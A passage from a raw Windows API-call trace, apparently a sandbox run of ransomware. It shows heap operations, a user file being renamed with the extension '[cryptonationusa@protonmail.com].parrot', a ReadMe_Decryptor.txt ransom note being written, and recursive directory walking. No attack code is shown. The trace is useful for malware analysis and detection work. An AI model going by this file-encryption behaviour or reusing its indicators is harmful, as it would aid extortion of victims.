out: hHeap=0x540000) returned 1 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1c) returned 0x603dd8 [0053.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x59a0c8 | out: hHeap=0x540000) returned 1 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2a) returned 0x5bb6c0 [0053.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x3f) returned 0x5eb960 [0053.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb6c0 | out: hHeap=0x540000) returned 1 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x5e) returned 0x28d9488 [0053.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb960 | out: hHeap=0x540000) returned 1 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8d) returned 0x609178 [0053.915] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d9488 | out: hHeap=0x540000) returned 1 [0053.915] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd3) returned 0x28d0920 [0053.916] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609178 | out: hHeap=0x540000) returned 1 [0053.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x13c) returned 0x562228 [0053.916] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d0920 | out: hHeap=0x540000) returned 1 [0053.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1da) returned 0x28d5988 [0053.916] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562228 | out: hHeap=0x540000) returned 1 [0053.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2c7) returned 0x28d30d0 [0053.916] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d5988 | out: hHeap=0x540000) returned 1 [0053.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x42a) returned 0x5eb458 [0053.916] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d30d0 | out: hHeap=0x540000) returned 1 [0053.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x63f) returned 0x5f0780 [0053.916] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5eb458 | out: hHeap=0x540000) returned 1 [0053.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x95e) returned 0x5edba0 [0053.916] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5f0780 | out: hHeap=0x540000) returned 1 [0053.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xe0d) returned 0x28d7a10 [0053.916] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5edba0 | out: hHeap=0x540000) returned 1 [0053.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1536) returned 0x63e990 [0053.916] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d7a10 | out: hHeap=0x540000) returned 1 [0053.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1fbf) returned 0x292de48 [0053.916] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x63e990 | out: hHeap=0x540000) returned 1 [0053.916] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x2f8d) returned 0x292fe10 [0053.917] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x292de48 | out: hHeap=0x540000) returned 1 [0053.917] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4742) returned 0x2932da8 [0053.917] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x292fe10 | out: hHeap=0x540000) returned 1 [0053.917] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x6ad1) returned 0x29374f8 [0053.918] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x2932da8 | out: hHeap=0x540000) returned 1 [0053.918] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa028) returned 0x293dfd8 [0053.919] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x29374f8 | out: hHeap=0x540000) returned 1 [0053.919] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xf02a) returned 0x292de48 [0053.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x293dfd8 | out: hHeap=0x540000) returned 1 [0053.920] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1682d) returned 0x293ce80 [0053.920] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x292de48 | out: hHeap=0x540000) returned 1 [0053.921] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x21c32) returned 0x29536b8 [0053.922] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x293ce80 | out: hHeap=0x540000) returned 1 [0053.923] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x32a39) returned 0x29752f8 [0053.925] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x29536b8 | out: hHeap=0x540000) returned 1 [0053.926] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x4bf44) returned 0x3890048 [0053.930] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x29752f8 | out: hHeap=0x540000) returned 1 [0053.934] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x71ed4) returned 0x292de48 [0053.941] UnlockFile (hFile=0x310, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5f718, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0053.941] CloseHandle (hObject=0x310) returned 1 [0053.941] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559dc8 [0053.941] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5feab0 [0053.941] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559dc8 | out: hHeap=0x540000) returned 1 [0053.941] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\global.mpt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\global.mpt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0053.942] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5feab0 | out: hHeap=0x540000) returned 1 [0053.942] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bbfc0 | out: hHeap=0x540000) returned 1 [0053.942] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x26c0020 | out: hHeap=0x540000) returned 1 [0053.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0053.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55bf20 [0053.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bb88 [0053.944] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x55bdc8 [0053.944] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ecc8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x310 [0053.945] GetFileType (hFile=0x310) returned 0x1 [0053.945] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1000) returned 0x61d9b0 [0054.091] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0054.091] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0xaf234060, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf234060, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.091] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e064c0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0xaf234060, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5f728, dwReserved0=0x0, dwReserved1=0x0, cFileName="Global.MPT.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="GLOBAL~1.PAR")) returned 1 [0054.092] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x70) returned 0x5db288 [0054.092] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5db288 | out: hHeap=0x540000) returned 1 [0054.092] lstrcmpW (lpString1="Global.MPT.[cryptonationusa@protonmail.com].parrot", lpString2="ReadMe_Decryptor.txt") returned -1 [0054.092] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x28d0920 [0054.092] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf234060, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf234060, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf364b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0054.092] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x30) returned 0x5bb570 [0054.092] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5bb570 | out: hHeap=0x540000) returned 1 [0054.092] lstrcmpW (lpString1="ReadMe_Decryptor.txt", lpString2="ReadMe_Decryptor.txt") returned 0 [0054.092] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf234060, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xaf234060, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf364b60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 0 [0054.092] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3a40 | out: hHeap=0x540000) returned 1 [0054.092] FindClose (in: hFindFile=0x5dada0 | out: hFindFile=0x5dada0) returned 1 [0054.092] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5e3998 | out: hHeap=0x540000) returned 1 [0054.092] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8e064c0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8e064c0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0054.092] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609178 [0054.092] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x28d14a8 | out: hHeap=0x540000) returned 1 [0054.092] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0054.094] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0054.095] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.096] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0xaf234060, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf234060, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0054.096] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0xaf234060, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xaf234060, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0054.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609178 | out: hHeap=0x540000) returned 1 [0054.096] FindClose (in: hFindFile=0x5dade0 | out: hFindFile=0x5dade0) returned 1 [0054.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609048 | out: hHeap=0x540000) returned 1 [0054.096] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0054.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x609048 [0054.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x6090e0 | out: hHeap=0x540000) returned 1 [0054.096] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0054.096] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0054.096] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.096] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0054.096] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8d940a0, ftCreationTime.dwHighDateTime=0x1d305fe, ftLastAccessTime.dwLowDateTime=0x8d940a0, ftLastAccessTime.dwHighDateTime=0x1d305fe, ftLastWriteTime.dwLowDateTime=0x8d940a0, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0054.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x609048 | out: hHeap=0x540000) returned 1 [0054.096] FindClose (in: hFindFile=0x5dad20 | out: hFindFile=0x5dad20) returned 1 [0054.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0054.096] FindNextFileW (in: hFindFile=0x5dad60, lpFindFileData=0x18f85c | out: lpFindFileData=0x18f85c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0054.096] lstrcmpW (lpString1="Network", lpString2=".") returned 1 [0054.096] lstrcmpW (lpString1="Network", lpString2="..") returned 1 [0054.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcb30 [0054.096] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x55c0b0 | out: hHeap=0x540000) returned 1 [0054.096] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5fcbb8 [0054.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0054.097] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x5dad20 [0054.097] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.097] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.097] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.097] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.097] FindNextFileW (in: hFindFile=0x5dad20, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0054.097] lstrcmpW (lpString1="Connections", lpString2=".") returned 1 [0054.097] lstrcmpW (lpString1="Connections", lpString2="..") returned 1 [0054.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x90) returned 0x608f18 [0054.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xd6) returned 0x28d14a8 [0054.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x608f18 | out: hHeap=0x540000) returned 1 [0054.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0054.097] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3998 [0054.097] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0054.098] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x5dade0 [0054.098] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.098] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.098] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.098] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.098] FindNextFileW (in: hFindFile=0x5dade0, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbk", cAlternateFileName="")) returned 1 [0054.098] lstrcmpW (lpString1="Pbk", lpString2=".") returned 1 [0054.098] lstrcmpW (lpString1="Pbk", lpString2="..") returned 1 [0054.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3a40 [0054.098] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0054.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xa0) returned 0x5e3d88 [0054.098] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0054.098] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x5dada0 [0054.098] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.098] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.100] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0054.100] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0054.100] FindNextFileW (in: hFindFile=0x5dada0, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x31a325d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x31a325d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 1 [0054.100] lstrcmpW (lpString1="_hiddenPbk", lpString2=".") returned 1 [0054.100] lstrcmpW (lpString1="_hiddenPbk", lpString2="..") returned 1 [0054.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x603dd8 [0054.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xb0) returned 0x559d10 [0054.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x106) returned 0x5feab0 [0054.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x540000) returned 1 [0054.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x562910 | out: hHeap=0x540000) returned 1 [0054.100] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x603dd8 | out: hHeap=0x540000) returned 1 [0054.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xc0) returned 0x55c0b0 [0054.100] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x210) returned 0x562910 [0054.100] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x5dae20 [0054.100] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0054.100] FindNextFileW (in: hFindFile=0x5dae20, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31a325d0, ftCreationTime.dwHighDateTime=0x1d2dd9c, 